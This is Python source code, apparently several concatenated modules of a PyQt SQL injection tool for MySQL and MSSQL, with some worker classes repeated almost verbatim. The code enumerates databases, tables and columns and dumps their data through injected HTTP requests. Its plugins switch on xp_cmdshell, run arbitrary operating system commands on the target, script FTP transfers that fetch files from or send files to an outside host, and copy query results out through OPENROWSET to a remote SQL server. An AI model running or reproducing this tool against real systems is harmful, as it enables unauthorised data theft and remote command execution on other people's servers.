class Injector(QtCore.QThread): #---------------Signals---------------# logSignal = QtCore.pyqtSignal(str) progressSignal = QtCore.pyqtSignal(int, bool) dbSignal = QtCore.pyqtSignal(str) columnSignal = QtCore.pyqtSignal(str, int) rowDataSignal = QtCore.pyqtSignal(int, int, str) querySignal = QtCore.pyqtSignal(str, bool) tblSignal = QtCore.pyqtSignal(str) #----------------------------------------# def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.wq = HTTP_Handler() self.vars = vars self.qstrings = qstrings self.killed = False self.wq.logSignal.connect(self.logger) def run(self): self.logSignal.emit("\n+++ TASK STARTED +++") #Tables task if self.vars['task'] == "tables": self.getTables() #Databases task if self.vars['task'] == "bases": self.getBases() #Columns task if self.vars['task'] == "columns": self.getColumns() #Query task if self.vars['task'] == "query": self.runQuery() #Dump task if self.vars['task'] == "dump": self.syncThreads() time.sleep(0.1) self.progressSignal.emit(0, True) self.logSignal.emit("\n--- TASK STOPPED ---") def kill(self): if self.isRunning(): self.logSignal.emit("\n\n!!! KILL SIGNAL RECIEVED !!!") self.killed = True #Log def logger(self, strValue, notFunction=True): if notFunction: self.logSignal.emit(strValue) return self.logSignal.emit(strValue + "\n - [x] 'no_content' returned by function " + strValue) #Current db type selected def dbType(self, todo): if self.vars['db_type'] == "MySQL": if self.vars['inj_type'] == "ERROR-BASED": qstring = self.qstrings.value('mysql_error_based/' + todo) else: qstring = self.qstrings.value('mysql_union_based/' + todo) else: if self.vars['inj_type'] == "ERROR-BASED": qstring = self.qstrings.value('mssql_error_based/' + todo) else: qstring = self.qstrings.value('mssql_union_based/' + todo) return qstring #Get current database def getCurrDb(self): if self.vars['dbListCount'] < 1: query = self.wq.buildQuery(self.dbType('curr_db_name'), self.vars) db_name = self.wq.httpRequest(query, False, self.vars) if db_name == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> db_name", False) return 'no_db' elif db_name == "[---Timed out---]": return 'no_db' self.dbSignal.emit(db_name) else: db_name = self.vars['dbName'] return db_name #Getting bases def getBases(self): #If not in (array) method selected if self.vars['notInArray']: current_db = self.vars['dbName'] while not self.killed: query = self.wq.buildQuery(self.dbType('get_db_name'), self.vars, {'cdb': current_db}) db_name = self.wq.httpRequest(query, False, self.vars) if db_name == "no_content": self.logger( sys._getframe().f_code.co_name + "() -> db_name", False) return elif db_name == "isnull": break current_db += ",'" + db_name + "'" self.dbSignal.emit(db_name) #not in (substring) method else: query = self.wq.buildQuery(self.dbType('dbs_count'), self.vars) dbCount = self.wq.httpRequest(query, False, self.vars) if dbCount == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> dbCount", False) return try: dbCount = int(dbCount) except ValueError as err: self.logger( "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True) return if dbCount < 1: return tQueue = Queue() threads = [] for tNum in range(dbCount): tQueue.put(tNum) for i in range(self.vars['threads']): t = threading.Thread(target=self.mtBases, args=(tNum, tQueue, dbCount)) threads.append(t) t.start() time.sleep(0.1) for thread in threads: thread.join() #Multithread tables def mtBases(self, tNum, tQueue, dbCount): while not self.killed: try: tNum = tQueue.get_nowait() except Exception: break query = self.wq.buildQuery(self.dbType('get_db_name2'), self.vars, {'num': str(tNum)}) db_name = self.wq.httpRequest(query, False, self.vars) if db_name == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> db_name", False) return self.dbSignal.emit(db_name) time.sleep(0.1) tQueue.task_done() self.progressSignal.emit(int(dbCount) - 1, False) #Getting tables def getTables(self): current_db = self.getCurrDb() if current_db == 'no_db': return query = self.wq.buildQuery(self.dbType('tbls_count'), self.vars,\ {'cdb' : current_db}) tblCount = self.wq.httpRequest(query, False, self.vars) if tblCount == "no_content": self.logger(sys._getframe().f_code.co_name + "() -> tblCount", False) return try: tblCount = int(tblCount) except ValueError as err: self.logger( "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True) return if tblCount < 1: return if self.vars['notInArray']: current_table = "" while not self.killed: query = self.wq.buildQuery(self.dbType('get_tbl_name'), self.vars,\ {'cdb' : current_db, 'ctbl' : current_table}) table_name = self.wq.httpRequest(query, False, self.vars) if table_name == "no_content": self.logger( sys._getframe().f_code.co_name + "() -> table_name", False) return elif table_name == "isnull": break current_table += ",'" + table_name + "'" self.tblSignal.emit(table_name) self.progressSignal.emit(tblCount, False) else: tQueue = Queue() threads = [] for tNum in range(tblCount): tQueue.put(tNum) for i in range(self.vars['threads']): t = threading.Thread(target=self.mtTables, args=(tNum, tQueue, tblCount, current_db)) threads.append(t) t.start() time.sleep(0.1) for thread in threads: thread.join() #Multithread tables def mtTables(self, tNum, tQueue, tblCount, current_db): while not self.killed: try: tNum = tQueue.get_nowait() except Exception: break query = self.wq.buildQuery(self.dbType('get_tbl_name2'), self.vars,\ {'cdb' : current_db, 'num' : str(tNum)}) table_name = self.wq.httpRequest(query, False, self.vars) if table_name == "no_content": self.logger( sys._getframe().f_code.co_name + "() -> table_name", False) return self.tblSignal.emit(table_name) time.sleep(0.1) tQueue.task_done() self.progressSignal.emit(int(tblCount) - 1, False) #Getitng columns def getColumns(self): current_db = self.getCurrDb() if current_db == 'no_db': return tables = self.vars['tables'] #If not in(array) method selected: if self.vars['notInArray']: for i in range(self.vars['tblTreeCount']): current_table = core.txtproc.strToSqlChar( tables[i], self.vars['db_type']) current_column = "" query = self.wq.buildQuery(self.dbType('columns_count'), self.vars,\ {'cdb' : current_db, 'ctbl' : current_table}) columnsInTable = self.wq.httpRequest(query, False, self.vars) if columnsInTable == "no_content": self.logger( sys._getframe().f_code.co_name + "() -> notInArray -> columnsinTable", False) return try: columnsInTable = int(columnsInTable) except ValueError as err: self.logger( "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True) return if columnsInTable < 1: return while not self.killed: query = self.wq.buildQuery(self.dbType('get_column_name'), self.vars,\ {'cdb' : current_db, 'ctbl' : current_table, 'ccol': current_column}) column_name = self.wq.httpRequest(query, False, self.vars) if column_name == "no_content": self.logger( sys._getframe().f_code.co_name + "() -> notInArray -> column_name", False) return elif column_name == "isnull": break current_column += ",'" + column_name + "'" self.columnSignal.emit(column_name, i) self.progressSignal.emit(columnsInTable, False) else: for i in range(self.vars['tblTreeCount']): current_table = core.txtproc.strToSqlChar( tables[i], self.vars['db_type']) query = self.wq.buildQuery(self.dbType('columns_count'), self.vars,\ {'cdb' : current_db, 'ctbl' : current_table}) columnsInTable = self.wq.httpRequest(query, False, self.vars) if columnsInTable == "no_content": self.logger( sys._getframe().f_code.co_name + "() -> columnsinTable", False) return try: columnsInTable = int(columnsInTable) except ValueError as err: self.logger( "\n[x] Something wrong. Check server request and response...\n\n[details]: " + str(err), True) return if columnsInTable < 1: return for rowid in range(columnsInTable): if self.killed: return #If not in(substring) method selected: if (self.vars['notInSubstring'] or self.vars['LIMIT']): query = self.wq.buildQuery(self.dbType('get_column_name2'), self.vars,\ {'cdb' : current_db, 'ctbl' : current_table, 'num' : str(rowid)}) #If ordinal_position method selected: elif self.vars['ordinal_position']: rowid += 1 query = self.wq.buildQuery(self.dbType('get_column_name3'), self.vars,\ {'cdb' : current_db, 'ctbl' : current_table, 'num' : str(rowid)}) column_name = self.wq.httpRequest(query, False, self.vars) if column_name == "no_content": self.logger( sys._getframe().f_code.co_name + "() -> notInSubstring -> column_name", False) return self.columnSignal.emit(column_name, i) self.progressSignal.emit(int(columnsInTable), False) #Run Query def runQuery(self): #If this select command if not self.vars['isStacked']: query = self.wq.buildQuery(self.dbType('query'), self.vars) result = self.wq.httpRequest(query, False, self.vars) else: result = "NULL" if self.vars['hexed']: query = self.wq.buildQuery( self.dbType('exec_hex'), self.vars, { 'hex': core.txtproc.strToHex(self.vars['query_cmd'], True) }) else: query = self.vars['query_cmd'] self.wq.httpRequest(query, True, self.vars) self.querySignal.emit(result, False) #Making synchronized threads for dumper def syncThreads(self): current_db = self.getCurrDb() if current_db == 'no_db': return columns = self.vars['columns'] threads = [] for num in range(len(columns)): tQueue = Queue() for tNum in range(self.vars['fromPos'] + 1, self.vars['toPos'] + 1): tQueue.put(tNum) for i in range(self.vars['threads']): t = threading.Thread(target=self.doDump, args=(tNum, tQueue, current_db, str(columns[num]), num)) threads.append(t) t.start() time.sleep(0.1) for thread in threads: thread.join() #Data dumping def doDump(self, tNum, tQueue, current_db, column, num): while not self.killed: try: tNum = tQueue.get_nowait() except Exception: break query = self.wq.buildQuery(self.dbType('data_dump'), self.vars, { 'cdb': current_db, 'column': column, 'num': str(tNum) }) rowData = self.wq.httpRequest(query, False, self.vars) if rowData == "no_content": rowData = "NULL" self.rowDataSignal.emit(tNum, num, rowData) self.progressSignal.emit(-1, False) time.sleep(0.1) tQueue.task_done()
class Worker(QtCore.QThread): taskDoneSignal = QtCore.pyqtSignal() logSignal = QtCore.pyqtSignal(str) def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.vars = vars self.qstrings = qstrings self.wq = HTTP_Handler() self.wq.logSignal.connect(self.log) def log(self, logStr): self.logSignal.emit(logStr) def run(self): self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++") #--------Task---------- """ Runing methods here""" self.ftpTransferTask() #----------------------- time.sleep(0.1) self.taskDoneSignal.emit() self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***") """ Method """ def ftpTransferTask(self): #if defined non-standart ftp port ipaddr = self.vars['ip'].replace(":", " ") ftpFiles = self.vars['ftpFiles'] tmp_file = self.vars['ftpPath'] + "xftp.txt" qString = self.qstrings.value('mssql_error_based/exec_hex') #del ..\temp\ftp.txt /Q hex = core.txtproc.strToHex( "master..xp_cmdshell 'del " + tmp_file + " /Q'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #echo open 127.0.0.1 21> ..\temp\ftp.txt hex = core.txtproc.strToHex( "master..xp_cmdshell 'echo open " + ipaddr + "> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #echo login>> ..\temp\ftp.txt hex = core.txtproc.strToHex( "master..xp_cmdshell 'echo " + self.vars['login'] + ">> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #echo password>> ..\temp\ftp.txt hex = core.txtproc.strToHex( "master..xp_cmdshell 'echo " + self.vars['password'] + ">> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) for file in ftpFiles: #Use SEND or GET ftp command? if self.vars['ftp_mode'] == "get": #echo get file.exe c:\path\file.exe>> ..\temp\ftp.txt hex = core.txtproc.strToHex("master..xp_cmdshell 'echo get " + file + " " + self.vars['ftpPath']\ + file + ">> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) else: #echo send c:\path\file.exe>> ..\temp\ftp.txt hex = core.txtproc.strToHex( "master..xp_cmdshell 'echo send " + self.vars['ftpPath'] + file + ">> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #echo bye>> ..\temp\ftp.txt hex = core.txtproc.strToHex( "master..xp_cmdshell 'echo bye>> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #ftp -s:..\temp\ftp.txt IP hex = core.txtproc.strToHex( "master..xp_cmdshell 'ftp -s:" + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #del ..\temp\ftp.txt /Q hex = core.txtproc.strToHex( "master..xp_cmdshell 'del " + tmp_file + " /Q'", True) query = self.wq.buildQuery(qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars)
class Worker(QtCore.QThread): logSignal = QtCore.pyqtSignal(str) rowDataSignal = QtCore.pyqtSignal(int, int, str) connResultSignal = QtCore.pyqtSignal(bool) taskDoneSignal = QtCore.pyqtSignal() def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.vars = vars self.qString = qstrings.value('mssql_error_based/exec_hex') self.wq = HTTP_Handler() self.wq.logSignal.connect(self.log) #if defined non-standart sql server port self.connIP = self.vars['ip'] if ":" in self.connIP: self.connIP = self.connIP.replace(":", ",") else: self.connIP += ",1433" #Connection String self.connStr = "DRIVER={SQL Server};SERVER=" + self.connIP + ";DATABASE="\ + self.vars['db'] + ";UID=" + self.vars['username'] + ";PWD=" + self.vars['password'] def log(self, logStr): self.logSignal.emit(logStr) def sqlErrorDesc(self, errMsg, errStr): try: errStr = str(errStr).encode(self.vars['encoding']).decode( self.vars['encoding']) except Exception: pass fullStr = errMsg + str(errStr) self.logSignal.emit(fullStr) def buildTable(self, isMulti, isCMD=False): if isMulti: columns = self.vars['columns'].split(",") column = "" for i in range(1, len(columns) + 1): column += "result" + str(i) + " varchar(8000) NULL" if i < len(columns): column += "," createStr = "create table dtpropertie (" + column + ")" return createStr else: createStr = "create table dtpropertie (result varchar(8000) NULL)" if isCMD: createStr = createStr.replace("dtpropertie", "dtpropertiecmd") #delete table if exists hex = core.txtproc.strToHex("drop table dtpropertiecmd", True) query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #Creating table hex = core.txtproc.strToHex(createStr, True) query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #Insert xp_cmdshell output to table if self.vars['EXEC']: hex = core.txtproc.strToHex( "insert dtpropertiecmd exec " + self.vars['command'], True) else: hex = core.txtproc.strToHex( "insert dtpropertiecmd exec master..xp_cmdshell '" + self.vars['command'] + "'", True) query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) else: return createStr def run(self): self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++") if self.vars['task'] == "connection_test": self.connTest() elif self.vars['task'] == "enable": self.enableFeatures() else: self.opernrowsetWorker() time.sleep(0.1) self.taskDoneSignal.emit() self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***") #Just connection testing def connTest(self): try: pyodbc.connect(self.connStr) except pyodbc.Error as sqlError: self.sqlErrorDesc( "\n[x] Connection error. Task aborted.\n-----Details-----\n ", sqlError) self.connResultSignal.emit(False) return self.connResultSignal.emit(True) def enableFeatures(self): #Enbale xp_cmdshell request hex = core.txtproc.strToHex(\ "sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure", True) query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #Enbale openrowset request hex = core.txtproc.strToHex(\ "sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure", True) query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) def opernrowsetWorker(self): multicolumn = False if "," in self.vars['columns']: multicolumn = True if self.vars['CMD']: self.buildTable(False, isCMD=True) queryStr = "select * from dtpropertiecmd" multicolumn = False else: queryStr = "select " + self.vars['TOP'] + self.vars[ 'columns'] + self.vars['from'] openrowsetString = "insert into OPENROWSET('" + self.vars['driver'] + "',"\ "'uid=" + self.vars['username'] + ";pwd=" + self.vars['password'] + ";"\ "database=" + self.vars['db'] + ";Address=" + self.connIP + ";',"\ "'select * from dtpropertie')" + queryStr #Connect to sql server try: conn = pyodbc.connect(self.connStr, autocommit=True) except pyodbc.Error as sqlError: self.sqlErrorDesc( "\n[x] Connection error. Task aborted.\n-----Details-----\n ", sqlError) self.connResultSignal.emit(False) return self.connResultSignal.emit(True) cursor = conn.cursor() #Dropping temporary table(if exists) try: cursor.execute("drop table dtpropertie") except pyodbc.DatabaseError: pass try: if not multicolumn: #Creating temporary with 1 column cursor.execute(self.buildTable(False)) else: #Creating temporary with several columns cursor.execute(self.buildTable(True)) except pyodbc.DatabaseError: pass #Inserting data into sql server hex = core.txtproc.strToHex(openrowsetString, True) query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) try: cursor.execute("select * from dtpropertie") except pyodbc.DatabaseError as err: self.sqlErrorDesc( "\n[x] Error. Task aborted.\n-----Details-----\n ", err) return rows = cursor.fetchall() for x in range(self.vars['columnsCount']): y = 0 for row in rows: self.rowDataSignal.emit(y, x, row[x]) y += 1 x += 1 #deleting xp_cmdshell temp table if self.vars['CMD']: hex = core.txtproc.strToHex("drop table dtpropertiecmd", True) query = self.wq.buildQuery(self.qString, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars)
class Worker(QtCore.QThread): taskDoneSignal = QtCore.pyqtSignal() logSignal = QtCore.pyqtSignal(str) def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.vars = vars self.qstrings = qstrings self.wq = HTTP_Handler() self.wq.logSignal.connect(self.log) def log(self, logStr): self.logSignal.emit(logStr) def run(self): self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++") #--------Task---------- """ Runing methods here""" self.ftpTransferTask() #----------------------- time.sleep(0.1) self.taskDoneSignal.emit() self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***") """ Method """ def ftpTransferTask(self): #if defined non-standart ftp port ipaddr = self.vars['ip'].replace(":", " ") ftpFiles = self.vars['ftpFiles'] tmp_file = self.vars['ftpPath'] + "xftp.txt" qString = self.qstrings.value('mssql_error_based/exec_hex') #del ..\temp\ftp.txt /Q hex = core.txtproc.strToHex("master..xp_cmdshell 'del " + tmp_file + " /Q'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #echo open 127.0.0.1 21> ..\temp\ftp.txt hex = core.txtproc.strToHex("master..xp_cmdshell 'echo open " + ipaddr + "> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #echo login>> ..\temp\ftp.txt hex = core.txtproc.strToHex("master..xp_cmdshell 'echo " + self.vars['login'] + ">> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #echo password>> ..\temp\ftp.txt hex = core.txtproc.strToHex("master..xp_cmdshell 'echo " + self.vars['password'] + ">> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) for file in ftpFiles: #Use SEND or GET ftp command? if self.vars['ftp_mode'] == "get": #echo get file.exe c:\path\file.exe>> ..\temp\ftp.txt hex = core.txtproc.strToHex("master..xp_cmdshell 'echo get " + file + " " + self.vars['ftpPath']\ + file + ">> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) else: #echo send c:\path\file.exe>> ..\temp\ftp.txt hex = core.txtproc.strToHex("master..xp_cmdshell 'echo send " + self.vars['ftpPath'] + file + ">> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #echo bye>> ..\temp\ftp.txt hex = core.txtproc.strToHex("master..xp_cmdshell 'echo bye>> " + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #ftp -s:..\temp\ftp.txt IP hex = core.txtproc.strToHex("master..xp_cmdshell 'ftp -s:" + tmp_file + "'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #del ..\temp\ftp.txt /Q hex = core.txtproc.strToHex("master..xp_cmdshell 'del " + tmp_file + " /Q'", True) query = self.wq.buildQuery(qString, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars)
class Worker(QtCore.QThread): outputSignal = QtCore.pyqtSignal(int, str, bool, int) progressSignal = QtCore.pyqtSignal(int, bool) logSignal = QtCore.pyqtSignal(str) def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.vars = vars self.qstrings = qstrings self.killed = False self.wq = HTTP_Handler() self.wq.logSignal.connect(self.log) def log(self, logStr): self.logSignal.emit(logStr) def kill(self): self.killed = True def run(self): self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++") if self.vars['task'] == "exec": self.xp_cmdshell() else: self.enable_xp_cmd() time.sleep(0.1) self.progressSignal.emit(0, True) self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***") def injType(self, query): #Define query string for current injection type if self.vars['inj_type'] == "union-based": qstring = self.qstrings.value('mssql_union_based/' + query) else: qstring = self.qstrings.value('mssql_error_based/' + query) return qstring def enable_xp_cmd(self): hex = core.txtproc.strToHex(\ "sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure", True) query = self.wq.buildQuery(self.qstrings.value('mssql_error_based/exec_hex'), self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) def xp_cmdshell(self): execStr = self.qstrings.value('mssql_error_based/exec_hex') #Delete tmp_table if already exist hex = core.txtproc.strToHex("drop table dtpropertie", True) query = self.wq.buildQuery(execStr, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #Creating tmp table hex = core.txtproc.strToHex(\ "create table dtpropertie (num int identity, result varchar(8000) NULL, primary key (num))", True) query = self.wq.buildQuery(execStr, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #Inserting xp_cmdshell output to temp table hex = core.txtproc.strToHex(\ "insert dtpropertie exec master..xp_cmdshell '" + self.vars['cmd'] + "'", True) query = self.wq.buildQuery(execStr, self.vars, {'hex' : hex}) self.wq.httpRequest(query, True, self.vars) #Getting count of rows in temp table self.vars['query_cmd'] = "select count(*) from dtpropertie" query = self.wq.buildQuery(self.injType('query'), self.vars) rowCount = self.wq.httpRequest(query, False, self.vars) if rowCount == "no_content": return #Preparing tableWidget self.outputSignal.emit(0, '0', True, int(rowCount)) #Multithreadind tQueue = Queue() threads = [] for tNum in range(1, int(rowCount)): tQueue.put(tNum) for i in range(self.vars['threads']): t = threading.Thread(target=self.mtCmdOutput, args=(tNum, tQueue, rowCount)) threads.append(t) t.start() time.sleep(0.1) for thread in threads: thread.join() #Multithreaded xp_cmdshell output extracting def mtCmdOutput(self, tNum, tQueue, rowCount): while not self.killed: try: tNum = tQueue.get_nowait() except Exception: break query = self.wq.buildQuery(self.injType('get_row'), self.vars, {'num' : str(tNum)}) cmdResult = self.wq.httpRequest(query, False, self.vars) if cmdResult == "no_content": self.log(sys._getframe().f_code.co_name + "() -> cmdResult", False) return self.outputSignal.emit(tNum, core.txtproc.recoverSymbols(cmdResult), False, 0) time.sleep(0.1) tQueue.task_done() self.progressSignal.emit(int(rowCount) - 1, False)
class Worker(QtCore.QThread): outputSignal = QtCore.pyqtSignal(int, str, bool, int) progressSignal = QtCore.pyqtSignal(int, bool) logSignal = QtCore.pyqtSignal(str) def __init__(self, vars, qstrings): QtCore.QThread.__init__(self) self.vars = vars self.qstrings = qstrings self.killed = False self.wq = HTTP_Handler() self.wq.logSignal.connect(self.log) def log(self, logStr): self.logSignal.emit(logStr) def kill(self): self.killed = True def run(self): self.logSignal.emit("+++ [" + PLUGIN_NAME + "]: TASK STARTED +++") if self.vars['task'] == "exec": self.xp_cmdshell() else: self.enable_xp_cmd() time.sleep(0.1) self.progressSignal.emit(0, True) self.logSignal.emit("*** [" + PLUGIN_NAME + "]: TASK DONE ***") def injType(self, query): #Define query string for current injection type if self.vars['inj_type'] == "union-based": qstring = self.qstrings.value('mssql_union_based/' + query) else: qstring = self.qstrings.value('mssql_error_based/' + query) return qstring def enable_xp_cmd(self): hex = core.txtproc.strToHex(\ "sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure", True) query = self.wq.buildQuery( self.qstrings.value('mssql_error_based/exec_hex'), self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) def xp_cmdshell(self): execStr = self.qstrings.value('mssql_error_based/exec_hex') #Delete tmp_table if already exist hex = core.txtproc.strToHex("drop table dtpropertie", True) query = self.wq.buildQuery(execStr, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #Creating tmp table hex = core.txtproc.strToHex(\ "create table dtpropertie (num int identity, result varchar(8000) NULL, primary key (num))", True) query = self.wq.buildQuery(execStr, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #Inserting xp_cmdshell output to temp table hex = core.txtproc.strToHex(\ "insert dtpropertie exec master..xp_cmdshell '" + self.vars['cmd'] + "'", True) query = self.wq.buildQuery(execStr, self.vars, {'hex': hex}) self.wq.httpRequest(query, True, self.vars) #Getting count of rows in temp table self.vars['query_cmd'] = "select count(*) from dtpropertie" query = self.wq.buildQuery(self.injType('query'), self.vars) rowCount = self.wq.httpRequest(query, False, self.vars) if rowCount == "no_content": return #Preparing tableWidget self.outputSignal.emit(0, '0', True, int(rowCount)) #Multithreadind tQueue = Queue() threads = [] for tNum in range(1, int(rowCount)): tQueue.put(tNum) for i in range(self.vars['threads']): t = threading.Thread(target=self.mtCmdOutput, args=(tNum, tQueue, rowCount)) threads.append(t) t.start() time.sleep(0.1) for thread in threads: thread.join() #Multithreaded xp_cmdshell output extracting def mtCmdOutput(self, tNum, tQueue, rowCount): while not self.killed: try: tNum = tQueue.get_nowait() except Exception: break query = self.wq.buildQuery(self.injType('get_row'), self.vars, {'num': str(tNum)}) cmdResult = self.wq.httpRequest(query, False, self.vars) if cmdResult == "no_content": self.log(sys._getframe().f_code.co_name + "() -> cmdResult", False) return self.outputSignal.emit(tNum, core.txtproc.recoverSymbols(cmdResult), False, 0) time.sleep(0.1) tQueue.task_done() self.progressSignal.emit(int(rowCount) - 1, False)